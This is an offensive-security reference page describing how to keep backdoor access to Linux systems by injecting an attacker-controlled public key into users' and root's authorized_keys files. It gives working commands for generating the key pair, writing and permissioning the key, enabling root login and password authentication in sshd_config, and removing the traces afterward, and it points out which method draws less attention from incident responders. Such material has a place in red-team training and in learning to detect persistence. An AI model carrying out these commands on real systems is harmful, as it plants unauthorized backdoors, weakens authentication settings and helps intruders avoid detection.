# Linux SSH Authorized Keys Persistence

> Covers abusing SSH authorized_keys files to maintain persistent backdoor access on Linux systems by injecting attacker-controlled public keys.

- **URL:** https://hackindex.io/platforms/linux/persistence/linux-ssh-authorized-keys-persistence
- **Path:** Linux > Persistence
- **Up:** [Persistence](https://hackindex.io/platforms/linux/persistence.md)
- **Published:** 2026-04-04
- **Updated:** 2026-07-14

Adding your public key to a user's `authorized_keys` file gives passwordless SSH access that survives password changes, reboots, and session termination. It requires write access to the target user's home directory: either directly or through a path traversal, file write vulnerability, or elevated shell.

The technique works for any user account on the system, not just root. Low-privilege user persistence is often overlooked during incident response. Multiple keys in `authorized_keys` are allowed, so appending does not remove existing entries. Confirm that SSH is listening and reachable before writing the key.

Steps for SSH key persistence:

- Generate an ed25519 key pair on your attack box
- Append the public key to the target's `~/.ssh/authorized_keys`
- Set correct permissions (`.ssh` 700, `authorized_keys` 600)
- Test the connection before closing your current shell

Check `/etc/ssh/sshd_config` for a custom port if port 22 is filtered.

## Generate a key pair on your attack box

**Generate SSH key pair**

```bash
ssh-keygen -t ed25519 -f ~/.ssh/persistence_key -N ''
cat ~/.ssh/persistence_key.pub
# ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali
```

## Add key to target user

OpenSSH enforces permissions strictly. If `.ssh` is not mode 700 or `authorized_keys` is not mode 600, authentication fails silently. The client sees a password prompt instead of a key error. Always set permissions immediately after writing the key. If you write the file as a different user, the `chown` step is required. A root-owned `authorized_keys` in a user's home directory will not authenticate that user. Test the key before closing your current session. Connect from the attack box while the original shell is still open. Run `ssh -v` if the login fails to see exactly where authentication breaks.

**Add authorized key**

```bash
# Create .ssh directory if it doesn't exist
mkdir -p ~/.ssh
chmod 700 ~/.ssh

# Add your public key
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> ~/.ssh/authorized_keys
chmod 600 ~/.ssh/authorized_keys

# For root (requires root shell)
mkdir -p /root/.ssh
chmod 700 /root/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> /root/.ssh/authorized_keys
chmod 600 /root/.ssh/authorized_keys

# For another user
mkdir -p /home/$USER/.ssh
echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAI... attacker@kali' >> /home/$USER/.ssh/authorized_keys
chmod 600 /home/$USER/.ssh/authorized_keys
chown -R $USER:$USER /home/$USER/.ssh
```

**Connect with the key**

```bash
ssh -i ~/.ssh/persistence_key $USER@$TARGET_IP
ssh -i ~/.ssh/persistence_key root@$TARGET_IP
```

## SSH config persistence

Beyond authorized_keys, the sshd configuration can be modified to allow root login or password authentication if currently disabled: making other accounts or methods viable for re-entry. The grep output shows the current effective settings before you change anything. If `PermitRootLogin` shows `prohibit-password`, key-based root login already works and you only need to add the key. If `PasswordAuthentication` is `no`, enabling it lets you authenticate with any cracked credential. A reload sends SIGHUP to sshd and applies changes without dropping active sessions. A full restart would disconnect existing shells, including your own.

**Modify sshd config for persistence**

```bash
# Check current SSH config
grep -E 'PermitRootLogin|PasswordAuthentication|AuthorizedKeysFile' /etc/ssh/sshd_config

# Enable root login (requires root)
sed -i 's/^PermitRootLogin.*/PermitRootLogin yes/' /etc/ssh/sshd_config

# Enable password authentication
sed -i 's/^PasswordAuthentication.*/PasswordAuthentication yes/' /etc/ssh/sshd_config

# Reload sshd
systemctl reload sshd
service sshd reload
```

SSH config changes are visible and often monitored. The authorized_keys method is less detectable because it adds a key to an existing file rather than modifying a system configuration file. On systems with `AuthorizedKeysCommand` configured, the static authorized_keys file may be bypassed: check the sshd config before relying on this technique. If `AuthorizedKeysCommand` is set, keys are fetched dynamically from an external source such as LDAP or a custom script. Your written key will be ignored entirely. Read the command value in sshd_config to understand where keys are sourced, then target that system instead.

## Cleaning up

**Remove SSH persistence**

```bash
# Remove specific key from authorized_keys
grep -v 'attacker@kali' ~/.ssh/authorized_keys > /tmp/ak_clean
mv /tmp/ak_clean ~/.ssh/authorized_keys

# Restore sshd config
sed -i 's/^PermitRootLogin yes/PermitRootLogin no/' /etc/ssh/sshd_config
sed -i 's/^PasswordAuthentication yes/PasswordAuthentication no/' /etc/ssh/sshd_config
systemctl reload sshd
```
